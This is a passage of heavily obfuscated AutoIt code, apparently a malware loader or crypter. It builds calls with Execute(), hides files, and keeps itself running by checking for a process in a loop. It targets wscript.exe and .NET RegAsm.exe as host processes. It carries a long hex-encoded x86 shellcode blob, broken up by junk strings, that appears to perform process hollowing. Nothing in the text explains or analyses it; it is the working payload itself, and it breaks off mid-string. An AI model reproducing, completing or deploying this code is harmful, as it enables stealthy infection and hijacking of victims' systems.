		 IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYF(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x22D3E5896185D93E8CE35FEBB29F187F","GLMYLXVSbVfXdQ",26128));+SH
	  EndIf
	  While Execute('S' & 'le' & 'e' & 'p(200)')
		 If UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOC(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQb($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFI)) = False Then
			IeJAiCUNfQPFNDgBiDSWNabRXQVMagh()
		 EndIf
	  WEnd
Func IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFIDUTU($IeJAiCUNfQPFNDgBiDSWNabRX)
Return DllStructGetPtr($IeJAiCUNfQPFNDgBiDSWNabRX)
EndFunc
Func UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbT($IeJAiCUNfQPFNDgBiDSWNabRX)
Execute('FileSetAttrib($IeJAiCUNfQPFNDgBiDSWNabRX, UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x22D3E5896185D93E8CE35FEBB29F187F","GLMYLXVSbVfXdQ",26128))')
EndFunc
Func IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYF($IeJAiCUNfQPFNDgBiDSWNabRX)
Execute('FileSetAttrib($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFIDUTUVDg, $IeJAiCUNfQPFNDgBiDSWNabRX)')
EndFunc
Func IeJAiCUNfQPFNDgBiDSWNabRXQVMagh()
If Execute('Int("0")') = IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFF(48) Then
If Execute('Int("0")') = IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFF(48) Then
IeJAiCUNfQPFNDgBiDSWNabR(@SystemDir & "\wscript.exe") ;\wscript.exe
IeJAiCUNfQPFNDgBiDSWNabR(@SystemDir & "\wscript.exe") ;\wscript.exe
ElseIf Execute('Int("0")') = IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFF(50) Then
If IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJ(FileGetLongName(@WindowsDir) & UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x75F782EBA037CA81323939B88F10D2702AE29E05A9F354DC27E77F0965B51A304C47E72997C00621BBC81E59E53B1443","GLMYLXVSbVfXdQ",26128)) Then ;\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
IeJAiCUNfQPFNDgBiDSWNabR(@WindowsDir & "\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe") ;\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
IeJAiCUNfQPFNDgBiDSWNabR(@WindowsDir & "\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe") ;\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
ElseIf Execute('Int("0")') = IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFF(52) Then
IeJAiCUNfQPFNDgBiDSWNabR(@WindowsDir & "\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe") ;\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
EndFunc
Func IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJY($IeJAiCUNfQPFNDgBiDSWNabRX,$IeJAiCUNfQPFNDgBiDSWNabRX1)
FileCopy($IeJAiCUNfQPFNDgBiDSWNabRX,$IeJAiCUNfQPFNDgBiDSWNabRX1,1)
EndFunc
Func IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJ($IeJAiCUNfQPFNDgBiDSWNabRX)
Return Execute('FileExists($IeJAiCUNfQPFNDgBiDSWNabRX)')
EndFunc
Func UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOC($IeJAiCUNfQPFNDgBiDSWNabRX)
If Execute('UBound(ProcessList($IeJAiCUNfQPFNDgBiDSWNabRX))') - 1 = 0 Then
   Return False
   Return True
EndFunc
Func UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQb($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTC)
        Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCT = ProcessList()
        Local $i = 1
        Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCTK = ""
        While $i <= $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCT[0][0] And $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCTK = ""
            If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCT[$i][1] = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTC Then
                $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCTK = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCT[$i][0]
            Else
                $i = increasei($i)
            EndIf
        WEnd
        Return $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbTCTK
	 EndFunc
	 	 Func increasei($i)
Return $i + 1
	  EndFunc
Func IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFIDUTUVDgQ($IeJAiCUNfQPFNDgBiDSWNabRX, $IeJAiCUNfQPFNDgBiDSWNabRX1)
Execute(IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFF(50+20) & 'ileWrite($IeJAiCUNfQPFNDgBiDSWNabRX, $IeJAiCUNfQPFNDgBiDSWNabRX1)')
EndFunc
Func IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFF($IeJAiCUNfQPFNDgBiDSWNabRX)
Return Execute('Chr($IeJAiCUNfQPFNDgBiDSWNabRX)')
EndFunc
Func IeJAiCUNfQPFNDgBiDSWNabR($IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhN)
Dim $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKN = $IeJAiCUNfQPF
Global $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR
 $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR =  "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEx558BEC8B4D088BC180390074064080380075FA2BC15DC20400558BEC5657IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8B7D0833F657E8D7FFFFFF8BC885C974200FBE07C1E60403F08BC625000000IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEF0740BC1E81833F081E6FFFFFF0F474975E05F8BC65E5DC20400558BEC5151IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5356578B7D0833F68B473C8B44387803C78B50208B581C03D78B482403DF8BIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE401803CF8955FC894DF889450885C074198B04B203C750E882FFFFFF3B450CIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE74148B55FC463B750872E733C05F5E5B8BE55DC208008B45F80FB704708B04IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8303C7EBE9558BEC81ECF003000053565733FF897DB8648B35300000008B76IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0C8B760C8B368B368B76188975B8897DC8648B35300000008B760C8B760C8BIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE368B76188975C88D45B4C78558FFFFFF793A3C07898520FFFFFF8BF78D45E8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEC7855CFFFFFF794A8A0B898524FFFFFF8D45B0898528FFFFFF8D45A489852CIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFFFFF8D45C0898530FFFFFF8D4598898534FFFFFF8D45D4898538FFFFFF8DIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE45A889853CFFFFFF8D45A0898540FFFFFF8D4590898544FFFFFF8D45948985IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE48FFFFFF8D45C489854CFFFFFF8D45AC898550FFFFFF8D45CCC78560FFFFFFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEEE38830CC78564FFFFFF5764E101C78568FFFFFF18E4CA08C7856CFFFFFFE3IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXECAD803C78570FFFFFF99B04806C78574FFFFFF93BA9403C78578FFFFFFE4C7IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEB904C7857CFFFFFFE487B804C74580A92DD701C7458405D13D0BC745884427IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE230FC7458CE86F180D898554FFFFFF8B45C883FE02FFB4B558FFFFFF0F4F45IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEB850E842FEFFFF8B8CB520FFFFFF890185C00F84910300004683FE0E7CD28BIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEDF6A108D45D84350895DFCFF55E86A448D85DCFEFFFF50FF55E868CC020000IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8D8510FCFFFF50FF55E88B4D10C78510FCFFFF070001008B713C03F10FB746IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE14897DF8897DBC8945D039BEA0000000741139BEA40000007409F646160175IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0333FF4733D2897DF433C08955EC6639110F94C03D4D5A00000F840E030000IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE33C039160F94C03D504500000F84FC02000033C0663956040F94C03D4C0100IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE000F84E80200008D45D8508D85DCFEFFFF5052526A04525252FF750CFF7508IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFF55A485C00F84AD0200008D8510FCFFFF50FF75DCFF55A085C00F84980200IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE006A006A048D45BC508B85B4FCFFFF83C00850FF75D8FF559485C00F847802IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE00008B45BC3B4634750F50FF75D8FF55B085C00F85610200006A4068003000IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE00FF76506A00FF55988BD885DB0F84450200006A406800300000FF7650FF76IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE34FF75D8FF55C08945F885C0753B85FF0F84230200006A406800300000FF76IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5033FFC745EC0100000057FF75D8FF55C08945F885C0751468008000005753IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFF55C48B5DFCE9F501000033FFFF7654FF751053FF55B433C0897DF0663B46IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE06732C8B7DD083C72C03FEFF77FC8B07034510508B47F803C350FF55B48B4DIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEF08D7F280FB7460641894DF03BC87CDC8B7B3C8B45F803FB837DEC00894734IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0F848A000000837DF4000F84800000008B97A00000008365F40003D383BFA4IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE00000000766B8B420433C983E808894DF0A9FEFFFFFF76450FB7444A086685IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEC0742B25FF0F000003028945EC8BC88B46342904198B4DF08B47340FB74C4AIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0881E1FF0F0000030A0104198B4DF08B42044183E808894DF0D1E83BC872BBIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8B4DF4034A04035204894DF43B8FA4000000729533FF57FF765053FF75F8FFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE75D8FF55D485C00F84FEFEFFFF8D459C506A02FF7654FF75F8FF75D8FF55CCIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE85C00F84E4FEFFFF33C0897DF4663B4606736C8B7DD083C73C03FE8B07A900IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE000020741985C079046A40EB172500000040F7D81BC083E01083C010EB1585IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEC079056A0458EB0CA9000000406A00580F95C0408D4D9C5150FF77E48B47E8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0345F850FF75D8FF55CC85C074128B4DF483C7280FB7460641894DF43BC872IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE9E33FF68008000005753FF55C485C00F845BFEFFFF576A048D45F8508B85B4IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFCFFFF83C00850FF75D8FF55D485C00F843CFEFFFF8B46280345F88985C0FCIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFFF8D8510FCFFFF50FF75DCFF559085C00F841BFEFFFFFF75DCFF55AC85C0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE4IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEDIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEEIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEBIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE4IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEEIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEEIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEBIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE1IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEDIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEBIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEDIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXECIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE3IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE3IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE3IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE7IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEDIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEDIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE7IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE4IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE7IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE7IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE7IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEDIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEAIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE3IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEBIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE"
	  $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghR &= "IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE6IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE7IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE7IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXECIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE3IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE3IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXECIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE0IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEEIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE5IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEBIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXE8IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEBIeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEEIeJAiCUN